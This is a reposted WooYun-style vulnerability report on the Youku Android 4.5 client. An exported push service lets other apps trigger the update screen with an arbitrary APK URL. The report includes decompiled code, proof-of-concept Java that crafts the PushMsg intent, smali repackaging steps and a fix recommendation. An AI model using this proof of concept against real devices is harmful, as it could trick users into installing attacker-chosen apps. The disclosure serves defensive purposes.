优酷Android 4.5客户端升级漏洞

优酷Android 4.5客户端升级漏洞

MindMac @WooYun

简要描述

优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!

详细说明

组件com.youku.service.push.StartActivityService声明如下:

<service
    android:label="Youku Push Notifications StartActivityService"
    android:name="com.youku.service.push.StartActivityService"
    android:exported="true"
>
可知该组件对外暴露。
该组件对应的代码执行部分如下:

protected void onHandleIntent(Intent intent) {

        Intent v0;

        String v23;

        Serializable pushMsg = intent.getSerializableExtra("PushMsg");

        ......

        AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();

        switch(pushMsg.type) {

            case 1: {

                goto label_53;

            }

            ......

        }

        ......

    label_53:

        intent.setFlags(876609536);

        intent.setClass(this, UpdateActivity.class);

        intent.putExtra("updateurl", pushMsg.updateurl);

        intent.putExtra("updateversion", pushMsg.updateversion);

        intent.putExtra("updatecontent", pushMsg.updatecontent);

        intent.putExtra("updateType", 2);

        this.startActivity(intent);

        return;

    ......
该组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。

漏洞证明

该漏洞触发的关键在于对PushMsg数据的控制,基本思路如下:

1.创建一个Android App程序,在主Activity中的关键代码如下:

PushMsg pushMsg = new PushMsg();

pushMsg.type = 1;

pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";

pushMsg.updatecontent = "This is Fake";

		

Intent intent = new Intent();

intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");

intent.putExtra("PushMsg", pushMsg);

startService(intent);
其中PushMsg类不需要完整实现,只需要编译通过即可;
2.反编译优酷客户端c中提取出PushMsg.smali;
3.反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
4.安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。


修复方案

组件不暴露、对升级地址进行判断、对下载的APK文件进行校验!





猜你喜欢

转载自blog.csdn.net/zihao2012/article/details/50273769